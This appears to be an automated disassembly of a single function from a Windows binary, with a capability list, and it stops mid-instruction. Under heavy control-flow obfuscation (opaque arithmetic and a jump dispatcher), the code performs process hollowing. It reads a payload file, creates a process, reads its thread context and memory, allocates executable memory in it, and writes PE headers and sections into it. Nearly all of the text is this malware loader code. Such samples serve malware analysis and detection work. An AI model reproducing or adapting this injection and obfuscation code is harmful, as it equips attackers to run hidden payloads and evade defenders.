Function at 0x14000a3f1
Capabilities:
Authenticate hmac
Create process on windows
Get file size
Read file on windows
Resume thread
Terminate process

Disassembly:
push rax
pushf
mov eax, 0xbc9beac4
pushf
not eax
add eax, 0xf7dfb68f
xor eax, 0xc354ee8d
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xa91e69f5
xor eax, 0xaefb0e08
rol eax, 0xad
popf
pushf
not eax
add eax, 0xad854747
xor eax, 0xfc932fa6
rol eax, 0x7b
popf
cmp eax, 0x29
jne 0x14000a441
popf
pop rax
jmp 0x14000c160
cmp eax, 0
jne 0x14000a450
popf
pop rax
jmp 0x14000a798
cmp eax, 3
jne 0x14000a45f
popf
pop rax
jmp 0x14000aa38
cmp eax, 1
jne 0x14000a46e
popf
pop rax
jmp 0x14000a865
cmp eax, 0xd
jne 0x14000a47d
popf
pop rax
jmp 0x14000afe9
cmp eax, 0x1a
jne 0x14000a48c
popf
pop rax
jmp 0x14000b757
cmp eax, 0xe
jne 0x14000a49b
popf
pop rax
jmp 0x14000b049
cmp eax, 0x31
jne 0x14000a4aa
popf
pop rax
jmp 0x14000c6fb
cmp eax, 0x19
jne 0x14000a4b9
popf
pop rax
jmp 0x14000b653
cmp eax, 8
jne 0x14000a4c8
popf
pop rax
jmp 0x14000abca
cmp eax, 0x2a
jne 0x14000a4d7
popf
pop rax
jmp 0x14000c252
cmp eax, 0x17
jne 0x14000a4e6
popf
pop rax
jmp 0x14000b53b
cmp eax, 0x1c
jne 0x14000a4f5
popf
pop rax
jmp 0x14000b889
cmp eax, 0x2e
jne 0x14000a504
popf
pop rax
jmp 0x14000c52c
cmp eax, 0x18
jne 0x14000a513
popf
pop rax
jmp 0x14000b5bf
cmp eax, 0x2b
jne 0x14000a522
popf
pop rax
jmp 0x14000c2c7
cmp eax, 0x1b
jne 0x14000a531
popf
pop rax
jmp 0x14000b819
cmp eax, 0x2d
jne 0x14000a540
popf
pop rax
jmp 0x14000c4a8
cmp eax, 0x23
jne 0x14000a54f
popf
pop rax
jmp 0x14000bdd4
cmp eax, 0x25
jne 0x14000a55e
popf
pop rax
jmp 0x14000bed3
cmp eax, 0x32
jne 0x14000a56d
popf
pop rax
jmp 0x14000c792
cmp eax, 0x13
jne 0x14000a57c
popf
pop rax
jmp 0x14000b32f
cmp eax, 0x33
jne 0x14000a58b
popf
pop rax
jmp 0x14000c7f1
cmp eax, 0x24
jne 0x14000a59a
popf
pop rax
jmp 0x14000be3f
cmp eax, 0x1e
jne 0x14000a5a9
popf
pop rax
jmp 0x14000b9e0
cmp eax, 0xc
jne 0x14000a5b8
popf
pop rax
jmp 0x14000aee9
cmp eax, 0x26
jne 0x14000a5c7
popf
pop rax
jmp 0x14000bfac
cmp eax, 0x27
jne 0x14000a5d6
popf
pop rax
jmp 0x14000c06e
cmp eax, 0x30
jne 0x14000a5e5
popf
pop rax
jmp 0x14000c69c
cmp eax, 0x10
jne 0x14000a5f4
popf
pop rax
jmp 0x14000b13f
cmp eax, 0x37
jne 0x14000a603
popf
pop rax
jmp 0x14000c9a7
cmp eax, 9
jne 0x14000a612
popf
pop rax
jmp 0x14000ac8b
cmp eax, 0x39
jne 0x14000a621
popf
pop rax
jmp 0x14000caa2
cmp eax, 0x16
jne 0x14000a630
popf
pop rax
jmp 0x14000b4cd
cmp eax, 0x28
jne 0x14000a63f
popf
pop rax
jmp 0x14000c12a
cmp eax, 0xa
jne 0x14000a64e
popf
pop rax
jmp 0x14000aced
cmp eax, 0x36
jne 0x14000a65d
popf
pop rax
jmp 0x14000c924
cmp eax, 0x14
jne 0x14000a66c
popf
pop rax
jmp 0x14000b367
cmp eax, 7
jne 0x14000a67b
popf
pop rax
jmp 0x14000ab0e
cmp eax, 0x34
jne 0x14000a68a
popf
pop rax
jmp 0x14000c83f
cmp eax, 2
jne 0x14000a699
popf
pop rax
jmp 0x14000a973
cmp eax, 0x20
jne 0x14000a6a8
popf
pop rax
jmp 0x14000bbab
cmp eax, 0x1d
jne 0x14000a6b7
popf
pop rax
jmp 0x14000b8ee
cmp eax, 0x11
jne 0x14000a6c6
popf
pop rax
jmp 0x14000b1c1
cmp eax, 0x35
jne 0x14000a6d5
popf
pop rax
jmp 0x14000c8eb
cmp eax, 0x2f
jne 0x14000a6e4
popf
pop rax
jmp 0x14000c5ca
cmp eax, 0x12
jne 0x14000a6f3
popf
pop rax
jmp 0x14000b29a
cmp eax, 0x21
jne 0x14000a702
popf
pop rax
jmp 0x14000bcd8
cmp eax, 0x38
jne 0x14000a711
popf
pop rax
jmp 0x14000ca44
cmp eax, 0xb
jne 0x14000a720
popf
pop rax
jmp 0x14000ad88
cmp eax, 0xf
jne 0x14000a72f
popf
pop rax
jmp 0x14000b0ab
cmp eax, 0x15
jne 0x14000a73e
popf
pop rax
jmp 0x14000b416
cmp eax, 5
jne 0x14000a74d
popf
pop rax
jmp 0x14000aa96
cmp eax, 6
jne 0x14000a75c
popf
pop rax
jmp 0x14000aacf
cmp eax, 0x22
jne 0x14000a76b
popf
pop rax
jmp 0x14000bd7d
cmp eax, 0x2c
jne 0x14000a77a
popf
pop rax
jmp 0x14000c3a4
cmp eax, 0x1f
jne 0x14000a789
popf
pop rax
jmp 0x14000ba7b
cmp eax, 4
jne 0x14000a798
popf
pop rax
jmp 0x14000aa74
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4d0]
sub rsp, 0x5d0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
cmp ecx, 3
jne 0x14000a80c
push rax
pushf
mov eax, 0x16147bb7
pushf
not eax
add eax, 0xa6c1817a
xor eax, 0x8b17c55d
rol eax, 3
popf
pushf
not eax
add eax, 0x994eea5f
xor eax, 0xbb58e566
rol eax, 0xcb
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x1e9e8636
pushf
not eax
add eax, 0xda467ffd
xor eax, 0x99a0d271
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x840fd00f
xor eax, 0xe036eecf
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xe6106836
xor eax, 0x9bdc929a
rol eax, 0xea
popf
pushf
not eax
add eax, 0xb10d346e
xor eax, 0xe3ea64eb
rol eax, 0xcd
popf
jmp 0x14000a432
mov rcx, qword [rdx + 8]
xor r13d, r13d
mov rax, qword [rdx + 0x10]
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], r13d
mov edx, 0x9d3b281
pushf
not edx
add edx, 0xa16cc7ba
xor edx, 0x8c6b361a
rol edx, 0xdd
popf
pushf
not edx
add edx, 0xd0d4551d
xor edx, 0xcd5610b8
rol edx, 1
popf
mov dword [rsp + 0x20], 3
mov qword [0x140005628], rcx
mov qword [0x140005630], rax
jmp 0x14000a8c5
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000a92d
push rax
pushf
mov eax, 0x2918af05
pushf
not eax
add eax, 0xa203e244
xor eax, 0x93769de5
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x9b5b09ce
xor eax, 0x815436cc
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xe1c21e6b
xor eax, 0xdca8b14f
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xb75ed4ca
xor eax, 0x89bc4003
rol eax, 0xac
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x879b3e06
pushf
not eax
add eax, 0xad0ca581
xor eax, 0xeee73890
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x84b2e559
xor eax, 0xce719021
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x95172b4c
xor eax, 0xa85fc8dd
rol eax, 0x81
popf
jmp 0x14000a432
xor edx, edx
mov rcx, rax
jmp 0x14000a979
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
jne 0x14000a9df
push rax
pushf
mov eax, 0x29a790db
pushf
not eax
add eax, 0xd30953c4
xor eax, 0x9bfdb8da
rol eax, 0x58
popf
pushf
not eax
add eax, 0xc10f2ebd
xor eax, 0xb2b5842a
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xb6335813
xor eax, 0xd5b863fe
rol eax, 0x46
popf
pushf
not eax
add eax, 0xb35b0fd2
xor eax, 0xa53dfb63
rol eax, 0xb3
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x18c8ae9f
pushf
not eax
add eax, 0xeefb86ad
xor eax, 0xbb8af153
rol eax, 0x22
popf
pushf
not eax
add eax, 0xf487b162
xor eax, 0x895bb60e
rol eax, 0x89
popf
pushf
not eax
add eax, 0x9cd1268d
xor eax, 0xe8132e12
rol eax, 0x96
popf
pushf
not eax
add eax, 0xa7efdaab
xor eax, 0xdb1d090d
rol eax, 0x2b
popf
jmp 0x14000a432
mov rcx, rdi
jmp 0x14000c9f8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
jmp 0x14000aa83
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
mov rcx, rdi
cmp rax, 0xffffffffffffffff
jne 0x14000ab0e
jmp 0x14000aa96
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rax
pushf
mov eax, 0xff50d8c8
pushf
not eax
add eax, 0x84c0cabc
xor eax, 0xf4a7fd12
rol eax, 0xd
popf
pushf
not eax
add eax, 0xa6b56668
xor eax, 0xa519582e
rol eax, 0x54
popf
jmp 0x14000a432
mov rcx, 0xffffffffffffffff
jmp 0x14000c9f8
xor r9d, r9d
mov qword [rsp + 0x20], r13
mov r8d, esi
mov rdx, rbx
jmp 0x14000ab1d
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
test eax, eax
jne 0x14000ab83
push rax
pushf
mov eax, 0x71a56df9
pushf
not eax
add eax, 0xe8dcb7aa
xor eax, 0xb3b56747
rol eax, 0xb
popf
pushf
not eax
add eax, 0xf2b80b9f
xor eax, 0xbc1d3532
rol eax, 0x62
popf
pushf
not eax
add eax, 0xd11d5811
xor eax, 0xfe34d086
rol eax, 0x83
popf
pushf
not eax
add eax, 0xe2998cbd
xor eax, 0xb5fc196f
rol eax, 0x35
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x2370c100
pushf
not eax
add eax, 0x8645a3b3
xor eax, 0x888052c1
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xaaea1566
xor eax, 0xcddcd61c
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xa150fb92
xor eax, 0x9ae283c3
rol eax, 0xde
popf
jmp 0x14000a432
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14000ac32
push rax
pushf
mov eax, 0x1769049a
pushf
not eax
add eax, 0x8a36c514
xor eax, 0xc0fa7a0d
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xad9f7f20
xor eax, 0xa1cf5aa4
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xaa9cdf16
xor eax, 0xe95bb9d7
rol eax, 0xab
popf
pushf
not eax
add eax, 0x85bc0722
xor eax, 0x91d59f97
rol eax, 0x83
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x4c426537
pushf
not eax
add eax, 0xb75aef03
xor eax, 0x8d3f8cc6
rol eax, 0x57
popf
pushf
not eax
add eax, 0xae839608
xor eax, 0xc8d86aa5
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xb1b489f5
xor eax, 0xe278b6db
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x9c51f7e7
xor eax, 0xd9542d9e
rol eax, 0x2b
popf
jmp 0x14000a432
mov rcx, rbx
jmp 0x14000c9f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14000ad2f
push rax
pushf
mov eax, 0xd7189082
pushf
not eax
add eax, 0xcd2d5e88
xor eax, 0x8ce375c3
rol eax, 0xb
popf
pushf
not eax
add eax, 0xd9e36012
xor eax, 0x9c052c3f
rol eax, 0x61
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x3e9dcc39
pushf
not eax
add eax, 0xefa3fb6f
xor eax, 0xedb9a379
rol eax, 0x86
popf
pushf
not eax
add eax, 0xc14024af
xor eax, 0xe50ea3b2
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xb7f5b847
xor eax, 0xb966e291
rol eax, 0x17
popf
pushf
not eax
add eax, 0xfcfb6f95
xor eax, 0xb32368fc
rol eax, 0x80
popf
jmp 0x14000a432
mov rcx, qword [0x140005630]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp + 0x450], 0x68
mov dword [rbp + 0x4b4], eax
mov esi, 0x8627034a
pushf
not esi
add esi, 0xbdd3a8aa
xor esi, 0xe5e1036b
rol esi, 0xcf
popf
pushf
not esi
add esi, 0xa142ce68
xor esi, 0xce286551
rol esi, 0x7c
popf
mov qword [rsp + 0x60], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rbp + 0x450]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], esi
movups xmmword [rbp + 0x454], xmm0
movups xmmword [rbp + 0x464], xmm0
movups xmmword [rbp + 0x474], xmm0
movups xmmword [rbp + 0x484], xmm0
movups xmmword [rbp + 0x494], xmm0
movups xmmword [rbp + 0x4a4], xmm0
movups xmmword [rsp + 0x50], xmm0
jmp 0x14000ae3c
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000aea3
push rax
pushf
mov eax, 0x2e976a03
pushf
not eax
add eax, 0xf6390c0c
xor eax, 0xd9a34afd
rol eax, 0x11
popf
pushf
not eax
add eax, 0x8e43239a
xor eax, 0xf99c7d28
rol eax, 0x30
popf
pushf
not eax
add eax, 0xb3694c4e
xor eax, 0xf41a6c54
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xbc6514f7
xor eax, 0xbd999e49
rol eax, 0xe5
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x5ef79986
pushf
not eax
add eax, 0x88e8cd00
xor eax, 0xd10c5823
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xaa5d2bd3
xor eax, 0xfce1ef31
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xd6021a04
xor eax, 0xc441192b
rol eax, 0xbe
popf
jmp 0x14000a432
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp + 0x440]
jmp 0x14000aef6
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
mov qword [rsp + 0x68], r13
mov r8d, 0x52717eb1
pushf
not r8d
add r8d, 0xd5b3f9af
xor r8d, 0x8d17221a
rol r8d, 0x95
popf
pushf
not r8d
add r8d, 0xf159a70e
xor r8d, 0xd61fdc62
rol r8d, 0x31
popf
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0x70]
mov dword [rbp - 0x60], 0x10000b
jmp 0x14000af57
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp - 8]
lea r9d, [rsi + 7]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x68]
add rdx, 0x10
mov qword [rsp + 0x20], r13
jmp 0x14000af79
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000afb6
push rax
pushf
mov eax, 0x522014d8
pushf
not eax
add eax, 0xc3cda655
xor eax, 0xf995acaf
rol eax, 2
popf
pushf
not eax
add eax, 0xe0790906
xor eax, 0xbf981017
rol eax, 0xfb
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xbc5291c9
pushf
not eax
add eax, 0xed702de2
xor eax, 0xb33b838a
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xacd6fe29
xor eax, 0x85376ba6
rol eax, 0xa
popf
jmp 0x14000a432
xorps xmm0, xmm0
xorps xmm1, xmm1
psrldq xmm0, 8
movq rax, xmm1
movq rdx, xmm0
jmp 0x14000b0ab
mov rax, qword [rbp - 8]
mov rdx, qword [rsp + 0x68]
push rax
pushf
mov eax, 0xd65d2197
pushf
not eax
add eax, 0xadc5aa90
xor eax, 0xd7235f74
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xddc4f6be
xor eax, 0x895dacd8
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x9e69fd83
xor eax, 0xc1d2dc4c
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xb6aa331b
xor eax, 0xb1c1112e
rol eax, 0x22
popf
jmp 0x14000a432
test rdx, rdx
je 0x14000b10c
push rax
pushf
mov eax, 0xa279f078
pushf
not eax
add eax, 0xf7376116
xor eax, 0x9cb9ade1
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xbe1030f8
xor eax, 0x9bb3c355
rol eax, 0x75
popf
pushf
not eax
add eax, 0xd5f7136e
xor eax, 0xd853b87e
rol eax, 0xee
popf
pushf
not eax
add eax, 0xadee07d5
xor eax, 0xc4ffdedb
rol eax, 1
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x400411c1
pushf
not eax
add eax, 0xa9a33256
xor eax, 0xdd09632e
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xba76502f
xor eax, 0x9cc8ab7c
rol eax, 0xaf
popf
jmp 0x14000a432
test rax, rax
je 0x14000b17b
push rax
pushf
mov eax, 0xa45a4457
pushf
not eax
add eax, 0xdc96d876
xor eax, 0xe8c64e6a
rol eax, 0x49
popf
pushf
not eax
add eax, 0x88fac95a
xor eax, 0x9165dfb8
rol eax, 0xeb
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x79381052
pushf
not eax
add eax, 0x9e4119f8
xor eax, 0xd8d6936d
rol eax, 0xea
popf
pushf
not eax
add eax, 0xfde0a96f
xor eax, 0xd376ebe6
rol eax, 0x82
popf
pushf
not eax
add eax, 0x96bad1c9
xor eax, 0xd2ad1782
rol eax, 0x68
popf
jmp 0x14000a432
movsxd rax, dword [rbx + 0x3c]
mov ecx, 0x4cb0ddc2
pushf
not ecx
add ecx, 0xcba03dbc
xor ecx, 0x90697fc7
rol ecx, 0xbb
popf
pushf
not ecx
add ecx, 0xc4c38594
xor ecx, 0xcd4f5cca
rol ecx, 0x7d
popf
cmp word [rax + rbx + 0x18], cx
jne 0x14000b254
push rax
pushf
mov eax, 0x2126d9fb
pushf
not eax
add eax, 0x92f4008c
xor eax, 0xa1b886c9
rol eax, 0x59
popf
pushf
not eax
add eax, 0xae7be896
xor eax, 0xed015457
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xccd639d1
xor eax, 0xf09be4f8
rol eax, 0x42
popf
pushf
not eax
add eax, 0xc7114309
xor eax, 0xebd61e9c
rol eax, 0x86
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x464bd60a
pushf
not eax
add eax, 0xd0e27a0f
xor eax, 0xd65912c0
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x88b352fa
xor eax, 0xd508181f
rol eax, 0x49
popf
pushf
not eax
add eax, 0xe499b360
xor eax, 0x910a6a46
rol eax, 0x7f
popf
jmp 0x14000a432
cmp dword [rbp + 0x440], r13d
jne 0x14000b2fc
push rax
pushf
mov eax, 0xca3570ae
pushf
not eax
add eax, 0xc474f906
xor eax, 0x91f738be
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xf7b70a6f
xor eax, 0xd09dc3e3
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x8cc63015
xor eax, 0xaada25d0
rol eax, 0x98
popf
pushf
not eax
add eax, 0xb7ef2b16
xor eax, 0x88bdbc5c
rol eax, 0xd1
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xff200b0
pushf
not eax
add eax, 0xc7454e28
xor eax, 0x84d07caa
rol eax, 0xae
popf
pushf
not eax
add eax, 0xaa798fc5
xor eax, 0x9e0242e1
rol eax, 0xe2
popf
jmp 0x14000a432
jmp 0x14000ca44
mov esi, r13d
cmp dword [rbp + 0x440], r13d
jne 0x14000b3d0
push rax
pushf
mov eax, 0x8bf97e9c
pushf
not eax
add eax, 0xbcbe7348
xor eax, 0xa047258f
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xefc51c59
xor eax, 0x9adfb6a3
rol eax, 0xae
popf
pushf
not eax
add eax, 0xa82cc071
xor eax, 0x8a198c51
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x9c9a26ca
xor eax, 0x9bc79a03
rol eax, 0x29
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x27debef4
pushf
not eax
add eax, 0xae43763e
xor eax, 0xbd91c62b
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xe5cd8c1c
xor eax, 0x9eca255c
rol eax, 0x95
popf
pushf
not eax
add eax, 0xd0ada275
xor eax, 0xaf2f3d63
rol eax, 0xa6
popf
jmp 0x14000a432
mov rcx, qword [rsp + 0x50]
movzx edi, word [rax + rbx + 0x5c]
call fcn.14000d6ae
cmp eax, 0xffffffff
je 0x14000b487
push rax
pushf
mov eax, 0xd7681c1f
pushf
not eax
add eax, 0xe2054a14
xor eax, 0x90216616
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf9a5e43c
xor eax, 0xed7240cc
rol eax, 0xce
popf
pushf
not eax
add eax, 0xc70873f0
xor eax, 0xb5bfe146
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa904d3c6
xor eax, 0x8b1f321a
rol eax, 0x95
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x1612b7d2
pushf
not eax
add eax, 0x9777805e
xor eax, 0xaed4813c
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xfed6929c
xor eax, 0x872fbedd
rol eax, 0x72
popf
pushf
not eax
add eax, 0x8ec871b8
xor eax, 0xe425dcd6
rol eax, 0x28
popf
jmp 0x14000a432
cmp edi, eax
jne 0x14000b508
push rax
pushf
mov eax, 0x9573438d
pushf
not eax
add eax, 0x9fdd87df
xor eax, 0xd88f5b5f
rol eax, 0x35
popf
pushf
not eax
add eax, 0x82bcb930
xor eax, 0xa0e25c9b
rol eax, 0x20
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x4aae8b8a
pushf
not eax
add eax, 0xb5e44044
xor eax, 0xc40332dd
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x8b8d2b40
xor eax, 0x89eb9214
rol eax, 0xe8
popf
jmp 0x14000a432
movsxd rdi, dword [rbx + 0x3c]
push rbx
not rbx
sub rdi, rbx
pop rbx
sub rdi, 1
mov eax, dword [rdi + 0xb0]
test esi, esi
je 0x14000b58c
push rax
pushf
mov eax, 0xae3f67d6
pushf
not eax
add eax, 0x88be6c92
xor eax, 0x95958f4b
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x8e212360
xor eax, 0xebe50f65
rol eax, 0x6d
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x8e5460c4
pushf
not eax
add eax, 0xa913b844
xor eax, 0xdd3f5ec2
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x9150a4ee
xor eax, 0x8780dd6d
rol eax, 0x91
popf
jmp 0x14000a432
test eax, eax
jne 0x14000b5fa
push rax
pushf
mov eax, 0x9ddea67a
pushf
not eax
add eax, 0xcdbd445d
xor eax, 0xa60bcb93
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xcac56aa8
xor eax, 0xb2281660
rol eax, 0x1b
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xdc05823b
pushf
not eax
add eax, 0xc020ed69
xor eax, 0xe9243bb7
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xdc19df94
xor eax, 0xbe530313
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xea58e9c1
xor eax, 0x8538fcfc
rol eax, 0x23
popf
pushf
not eax
add eax, 0xc70ab3d7
xor eax, 0x92af28b2
rol eax, 0xd4
popf
jmp 0x14000a432
mov r8d, dword [rdi + 0x50]
mov r9d, 0x2461e6b7
pushf
not r9d
add r9d, 0x949f3e92
xor r9d, 0xba9527ec
rol r9d, 0x3c
popf
pushf
not r9d
add r9d, 0xff79a7c6
xor r9d, 0xd3a0a741
rol r9d, 0xb6
popf
pushf
not r9d
add r9d, 0xafb60730
xor r9d, 0xcee42b4e
rol r9d, 0xbd
popf
mov edx, dword [rdi + 0x34]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
jmp 0x14000b6b9
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x14000b711
push rax
pushf
mov eax, 0x61432676
pushf
not eax
add eax, 0xbd54d326
xor eax, 0xc6de042b
rol eax, 0x42
popf
pushf
not eax
add eax, 0xfb43b260
xor eax, 0xced2dd53
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xd3415502
xor eax, 0x9411e91b
rol eax, 0xe5
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xe17ce8ca
pushf
not eax
add eax, 0x85b9204b
xor eax, 0xfcf3af45
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf09565ee
xor eax, 0x9f64ec12
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xf454da73
xor eax, 0xf51f7b76
rol eax, 0x78
popf
jmp 0x14000a432
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], r13
jmp 0x14000b76c
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000b7d3
push rax
pushf
mov eax, 0x89a6b338
pushf
not eax
add eax, 0xa948ec42
xor eax, 0xf12a509a
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xe7363754
xor eax, 0xc0c77218
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xaaeff015
xor eax, 0xb838b51f
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x90d0a252
xor eax, 0xb1502464
rol eax, 0x95
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xfc6c150c
pushf
not eax
add eax, 0x8045af65
xor eax, 0xaf2a8d1a
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xc5a9868c
xor eax, 0xb12078ba
rol eax, 0x53
popf
pushf
not eax
add eax, 0xa6c5813c
xor eax, 0xcdf8b7e1
rol eax, 0x94
popf
jmp 0x14000a432
mov esi, r13d
cmp r13w, word [rdi + 6]
jae 0x14000b856
push rax
pushf
mov eax, 0xaa256674
pushf
not eax
add eax, 0x9c6312ba
xor eax, 0x92dc74ed
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xbce4904c
xor eax, 0x8fcf842f
rol eax, 0x89
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x922a09a0
pushf
not eax
add eax, 0xb121d805
xor eax, 0xa74e5e1f
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xafc74a0b
xor eax, 0xd2e00c2e
rol eax, 0x50
popf
jmp 0x14000a432
mov r14, r13
nop word [rax + rax]
push rax
pushf
mov eax, 0xdebced86
pushf
not eax
add eax, 0xe98b6708
xor eax, 0x872c317b
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xf1fe5ec3
xor eax, 0xfc9e5d6c
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xfd9c9030
xor eax, 0x8743df4b
rol eax, 0x94
popf
pushf
not eax
add eax, 0xb2013d05
xor eax, 0xe6066fc8
rol eax, 0x10
popf
jmp 0x14000a432
movzx eax, word [rdi + 0x14]
mov rcx, qword [rsp + 0x50]
push r14
not r14
sub rax, r14
pop r14
sub rax, 1
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
push rbx
not rbx
sub r8, rbx
pop rbx
sub r8, 1
mov r9d, dword [rax + rdi + 0x28]
push r15
not r15
sub rdx, r15
pop r15
sub rdx, 1
jmp 0x14000b933
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000b99a
push rax
pushf
mov eax, 0xda2649e5
pushf
not eax
add eax, 0xb9ef34db
xor eax, 0xacbc38c6
rol eax, 0x31
popf
pushf
not eax
add eax, 0xcca8848d
xor eax, 0xdce047d0
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xa4b2b415
xor eax, 0xf344cf7a
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xf66852b5
xor eax, 0x9bd952a2
rol eax, 0x1a
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0x5b39af0f
pushf
not eax
add eax, 0x8e6d246e
xor eax, 0xb42f190d
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc07761f1
xor eax, 0xb6945b4d
rol eax, 5
popf
pushf
not eax
add eax, 0xcf28de23
xor eax, 0xea5a9159
rol eax, 0x7b
popf
jmp 0x14000a432
movzx eax, word [rdi + 6]
jmp 0x14000b9e5
inc esi
add r14, 0x28
cmp esi, eax
jl 0x14000ba35
push rax
pushf
mov eax, 0xaa9940db
pushf
not eax
add eax, 0xa7a57a44
xor eax, 0xf7647070
rol eax, 0x36
popf
pushf
not eax
add eax, 0x9b0dfdf5
xor eax, 0xedc91b48
rol eax, 0xf2
popf
pushf
not eax
add eax, 0x9a3eb0ff
xor eax, 0xb79c4df5
rol eax, 0x91
popf
jmp 0x14000a432
push rax
pushf
mov eax, 0xbff37fda
pushf
not eax
add eax, 0x88dc8b6b
xor eax, 0x829ab5d1
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xee2e3bf6
xor eax, 0xcf74339b
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x8cbd0a85
